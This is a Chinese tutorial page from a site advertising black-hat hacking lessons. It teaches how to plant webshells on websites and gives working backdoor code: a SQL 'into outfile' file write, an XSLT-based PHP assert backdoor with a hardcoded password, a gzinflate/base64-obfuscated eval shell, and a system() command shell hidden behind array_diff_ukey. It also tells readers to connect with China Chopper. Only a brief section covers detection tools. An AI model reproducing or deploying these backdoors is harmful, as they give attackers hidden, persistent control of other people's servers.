一起学习网,一个一起免费的网络建站教程资源共享和seo教程、黑帽教程学习交流的学习网站,www.17xuexiwang.com,一起学习,共同进步!

WebShell的渗透和攻防

时间:2017-10-24 11:34   文章来源:一起学习网   访问次数:
 
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。
 
内容目录
 
第一节 CMS获取WebShell
第二节 非CMS获取WebShell
第三节 基于xslt转换的WebShell
第四节 代码混淆隐藏WebShell
第五节 防御篇-查杀WebShell
 
第一节 CMS获取WebShell
 
1.1、什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。
 
1.2、常见的CMS有哪些?
 
asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;
php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;
 
1.3、CMS获取WebShell方法
 
公开漏洞途径:以PHPCMS为例:
我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。
PHPCMS
代码审计途径:
有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。
 
第二节 非CMS获取WebShell
 
2.1、上传漏洞获取WebShell
 
文件上传漏洞主要有以下几种情况:
 
MIME类型绕过漏洞
文件扩展名绕过漏洞
文件内容检测绕过类上传漏洞
空字节截断目录路径检测绕过类上传漏洞  
 
解析导致的文件上传漏洞:
 
IIS6.0站上的目录路径检测解析绕过上传漏洞
Apache站上的解析缺陷绕过上传漏洞
htaccess文件上传解析漏洞  
 
还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。
 
具体请看i春秋学院视频,还可以做实验,链接如下:
非法文件上传漏洞技术解析及防御
 
2.2、SQL注入获取WebShell
 
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
 
MySQL:
 
select into outfile(dumpfile)  //MySQL写文件命令
例如:
 
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";



 
那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。
 
 
2.3、数据库备份获取WebShell
 
利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
2015中国网络安全大赛:越权访问真题
 
配套实验地址:(进去后选择越权访问点击START就行了)
2015中国网络安全大赛
 
第三节 基于xslt转换的WebShell
 
3.1、什么是xslt?
 
在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
XSL - 不仅仅是样式表语言
XSL 包括三部分:
XSLT - 一种用于转换 XML 文档的语言。
XPath - 一种用于在 XML 文档中导航的语言。
XSL-FO - 一种用于格式化 XML 文档的语言。
 
那么看到这里相信大家已经了解到xslt是xsl的一部分。
 
 
3.2、在PHP下基于xslt转换来隐藏WebShell
 
怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl
XSL
定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下
 
Enables the ability to use PHP functions as XSLT functions
我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料
 
我们先来看看官方事例:
 
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>
 
那么搞懂了以上这些知识,那就很简单了。
 
为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:
 
<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
 <xsl:template match="/ichunqiu">
    <xsl:value-of select="icq:function(\'assert\',string(.))"/>
 </xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?> 
 
可以直接用菜刀连接:(密码:zusheng)
 

参考资料:
 
PHP官方手册:http://php.net/manual/zh/
 
第四节 代码混淆隐藏WebShell
 
代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。
 
这里我们使用gzinflate+Base64加密,来隐藏WebShell。
 
<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>
 
可以直接用菜刀连接:(密码:zusheng)
 
 
 
第五节 防御篇-查杀WebShell
 
5.1、WebShell的分类
WEBSHELL分类
5.2、安全工具
D盾:
D盾
下载地址:免费下载
360主机卫士:
提供在线监测,把网站打包成zip上传就行了
http://zhuji.360.cn/backdoor
 
学完上述知识,大家是不是想动手来试试了呢,来个小实验。
 
我们先新建一个php文件
 
文件内容如下:
 
<?php
if (isset($_GET["cmd"]))
{
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
}
?>
使用gzinflate+Base64加密,来隐藏WebShell。
 
使之能正常运行。
 
结束语:作为一名黑客,在你取得成功的问题上没有什么诀窍可寻,只有你越努力工作,你才能越接近成功。

上一篇:ASP百万目录轮链做法,无限收录
下一篇:没有了

今日话题更多>

  • 黑人小伙创业收购废旧轮胎实现梦 黑人小伙创业收购废旧轮胎实现梦 不要在乎他人在面前怎样看你说你,因为这些言语改动不了现实,却或许搅乱你的心。心假如乱了,统统就都乱了,了解你的人,不需要注释。人贵在大气,要学会对本人说,假如这……
  • 移动网盟推广视频教程 移动网盟推广视频教程 第一课、认识移动网盟 a.移动网盟竞价,赚钱的又一个利器 b.搜索竞价和网盟的联系与区别 c.60家优质网站联盟 d.25个大行业,115细分小行业 e.精准定向方式(5大定向) 第二课……
  • 百度竞价推广教程视频下载 百度竞价推广教程视频下载 百度竞价对于很多希望快速扩大业务的公司来说越来越重要了,所以针对这个岗位的需求也越来越大,学习竞价的人也越来越多,现在网上关于百度竞价的教程很多,但似乎都比较偏……

黑帽学习 更多 >>

  • WebShell的渗透和攻防WebShell的渗透和攻防
    WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一……
  • 黑客基础知识与技能视频教程黑客基础知识与技能视频教程
    1.黑客历史文化介绍(上) 2.黑客历史文化介绍(中) 3.黑客历史文化介绍(下) 4.黑客基本知识讲解 5.……
  • dos命令和脚本入侵教程dos命令和脚本入侵教程
    1.DOS命令简介及常用DOS命令介绍(上) 2.DOS命令简介及常用DOS命令介绍(下) 3.Ping命令介绍及使用……
  • 黑客视频教程3黑客视频教程3
    50 堆栈和堆缓冲区溢出比较-001 51 堆栈和堆缓冲区溢出比较-002 52 堆栈和堆缓冲区溢出-003 53 ……
  • 黑客视频教程2黑客视频教程2
    26 ShellCode的基本概念 27 打开CMD的方法-1 28 打开CMD的方法-2 29 打开CMD的方法-3 30 打开CMD……
  • 黑客视频教程1黑客视频教程1
    01 ping命令的使用 02 netstat命令的使用 03 tasklist和taskkill的使用 04 扫描器X-SCAN的使用(……
  • WEBSHELL介绍及应用,中国菜刀教WEBSHELL介绍及应用,中国菜刀教
    这节课讲webshell,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用……
  • php快照劫持和php快照劫持源码php快照劫持和php快照劫持源码
    第一节讲了asp劫持的方法,这节课来说下php劫持的方法,直接来看一下php劫持的代码是什么样的。 ……
  • ASP快照劫持方法,如何快照劫持ASP快照劫持方法,如何快照劫持
    今天讲第一课,asp劫持,我们看下这个网站,他的网址是这个,但是我们一打开,他的网址跳转了。……
  • 渗透技术攻防高手渗透技术攻防高手
    第一课:创建安全测试环境.zip 第二课:利用代理猎手寻找代理.rar 第三课:利用MultiProxy自动设……